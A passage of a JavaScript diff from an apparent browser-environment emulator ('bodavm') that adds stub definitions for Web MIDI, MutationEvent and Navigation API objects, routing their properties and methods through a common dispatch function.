"onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "onstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIPort', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIPort'].prototype, "MIDIPort", "open", arguments); + } +}, 'prototype'); +// MIDIAccess对象 + +bodavm.memory.globalobj['MIDIAccess'] = function MIDIAccess() { + console.log_copy('MIDIAccess 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIAccess)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIAccess'], "MIDIAccess"); +bodavm.memory.globalobj['MIDIAccess'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MIDIAccess'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MIDIAccess', "inputs", { + configurable: true, + enumerable: true, + get: function inputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "inputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "outputs", { + configurable: true, + enumerable: true, + get: function outputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "outputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "sysexEnabled", { + configurable: true, + enumerable: true, + get: function sysexEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "sysexEnabled_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIAccess', "onstatechange", { + configurable: true, + enumerable: true, + get: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_get", arguments); + }, + set: function onstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIAccess'].prototype, "MIDIAccess", "onstatechange_set", arguments); + } +}, 'prototype'); +// MIDIConnectionEvent对象 + +bodavm.memory.globalobj['MIDIConnectionEvent'] = function MIDIConnectionEvent() { + console.log_copy('MIDIConnectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIConnectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIConnectionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIConnectionEvent'], "MIDIConnectionEvent"); +bodavm.memory.globalobj['MIDIConnectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MIDIConnectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MIDIConnectionEvent', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIConnectionEvent'].prototype, "MIDIConnectionEvent", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +// MIDIInput对象 + +bodavm.memory.globalobj['MIDIInput'] = function MIDIInput() { + console.log_copy('MIDIInput 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIInput)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInput'], "MIDIInput"); +bodavm.memory.globalobj['MIDIInput'].prototype.__proto__ = bodavm.memory.globalobj['MIDIPort'].prototype; +bodavm.memory.globalobj['MIDIInput'].__proto__ = bodavm.memory.globalobj['MIDIPort']; +bodavm.toolsFunc.defineProperty('MIDIInput', "onmidimessage", { + configurable: true, + enumerable: true, + get: function onmidimessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_get", arguments); + }, + set: function onmidimessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInput'].prototype, "MIDIInput", "onmidimessage_set", arguments); + } +}, 'prototype'); +// MIDIInputMap对象 + +bodavm.memory.globalobj['MIDIInputMap'] = function MIDIInputMap() { + console.log_copy('MIDIInputMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIInputMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIInputMap'], "MIDIInputMap"); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIInputMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIInputMap'].prototype, "MIDIInputMap", "values", arguments); + } +}, 'prototype'); +// MIDIMessageEvent对象 + +bodavm.memory.globalobj['MIDIMessageEvent'] = function MIDIMessageEvent() { + console.log_copy('MIDIMessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIMessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MIDIMessageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIMessageEvent'], "MIDIMessageEvent"); +bodavm.memory.globalobj['MIDIMessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MIDIMessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MIDIMessageEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIMessageEvent'].prototype, "MIDIMessageEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +// MIDIOutput对象 + +bodavm.memory.globalobj['MIDIOutput'] = function MIDIOutput() { + console.log_copy('MIDIOutput 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIOutput)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutput'], "MIDIOutput"); +bodavm.memory.globalobj['MIDIOutput'].prototype.__proto__ = bodavm.memory.globalobj['MIDIPort'].prototype; +bodavm.memory.globalobj['MIDIOutput'].__proto__ = bodavm.memory.globalobj['MIDIPort']; +bodavm.toolsFunc.defineProperty('MIDIOutput', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutput'].prototype, "MIDIOutput", "send", arguments); + } +}, 'prototype'); +// MIDIOutputMap对象 + +bodavm.memory.globalobj['MIDIOutputMap'] = function MIDIOutputMap() { + console.log_copy('MIDIOutputMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MIDIOutputMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutputMap'], "MIDIOutputMap"); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MIDIOutputMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "values", arguments); + } +}, 'prototype'); +// moveBy对象 + +bodavm.memory.globalobj['moveBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('moveBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('moveBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "moveBy" +}); +// moveTo对象 + +bodavm.memory.globalobj['moveTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('moveTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('moveTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "moveTo" +}); +// MutationEvent对象 + +bodavm.memory.globalobj['MutationEvent'] = function MutationEvent() { + console.log_copy('MutationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationEvent'], "MutationEvent"); +bodavm.memory.globalobj['MutationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MutationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "relatedNode", { + configurable: true, + enumerable: true, + get: function relatedNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "relatedNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "prevValue", { + configurable: true, + enumerable: true, + get: function prevValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "prevValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "newValue", { + configurable: true, + enumerable: true, + get: function newValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "newValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "attrName", { + configurable: true, + enumerable: true, + get: function attrName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "attrChange", { + configurable: true, + enumerable: true, + get: function attrChange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrChange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "initMutationEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMutationEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "initMutationEvent", arguments); + } +}, 'prototype'); +// name对象 + +bodavm.memory.globalobj['name'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('name', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 0 +}); +// NavigateEvent对象 + +bodavm.memory.globalobj['NavigateEvent'] = function NavigateEvent() { + console.log_copy('NavigateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigateEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigateEvent'], "NavigateEvent"); +bodavm.memory.globalobj['NavigateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['NavigateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('NavigateEvent', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "navigationType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "canTransition", { + configurable: true, + enumerable: true, + get: function canTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canTransition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "canIntercept", { + configurable: true, + enumerable: true, + get: function canIntercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canIntercept_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "userInitiated", { + configurable: true, + enumerable: true, + get: function userInitiated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "userInitiated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "hashChange", { + configurable: true, + enumerable: true, + get: function hashChange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "hashChange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "formData", { + configurable: true, + enumerable: true, + get: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "formData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "downloadRequest", { + configurable: true, + enumerable: true, + get: function downloadRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "downloadRequest_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "info", { + configurable: true, + enumerable: true, + get: function info() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "info_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "intercept", { + configurable: true, + enumerable: true, + writable: true, + value: function intercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "intercept", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "scroll", { + configurable: true, + enumerable: true, + writable: true, + value: function scroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "scroll", arguments); + } +}, 'prototype'); +// NavigationCurrentEntryChangeEvent对象 + +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'] = function NavigationCurrentEntryChangeEvent() { + console.log_copy('NavigationCurrentEntryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationCurrentEntryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigationCurrentEntryChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'], "NavigationCurrentEntryChangeEvent"); +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "navigationType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "from", { + configurable: true, + enumerable: true, + get: function from() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "from_get", arguments); + }, + set: undefined +}, 'prototype'); +// NavigationDestination对象 + +bodavm.memory.globalobj['NavigationDestination'] = function NavigationDestination() { + console.log_copy('NavigationDestination 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationDestination)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationDestination'], "NavigationDestination"); +bodavm.toolsFunc.defineProperty('NavigationDestination', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "sameDocument", { + configurable: true, + enumerable: true, + get: function sameDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "sameDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "getState", arguments); + } +}, 'prototype'); +// NavigationHistoryEntry对象 + +bodavm.memory.globalobj['NavigationHistoryEntry'] = function NavigationHistoryEntry() { + console.log_copy('NavigationHistoryEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationHistoryEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationHistoryEntry'], "NavigationHistoryEntry"); +bodavm.memory.globalobj['NavigationHistoryEntry'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NavigationHistoryEntry'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "sameDocument", { + configurable: true, + enumerable: true, + get: function sameDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "sameDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "ondispose", { + configurable: true, + enumerable: true, + get: function ondispose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_get", arguments); + }, + set: function ondispose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "getState", arguments); + } +}, 'prototype'); +// NavigationPreloadManager对象 + +bodavm.memory.globalobj['NavigationPreloadManager'] = function NavigationPreloadManager() { + console.log_copy('NavigationPreloadManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationPreloadManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationPreloadManager'], "NavigationPreloadManager"); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "getState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "setHeaderValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setHeaderValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "setHeaderValue", arguments); + } +}, 'prototype'); +// NavigationTransition对象 + +bodavm.memory.globalobj['NavigationTransition'] = function NavigationTransition() { + console.log_copy('NavigationTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationTransition'], "NavigationTransition"); +bodavm.toolsFunc.defineProperty('NavigationTransition', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "navigationType_get", arguments); + }, + set: undefined +}, 'prototype'); 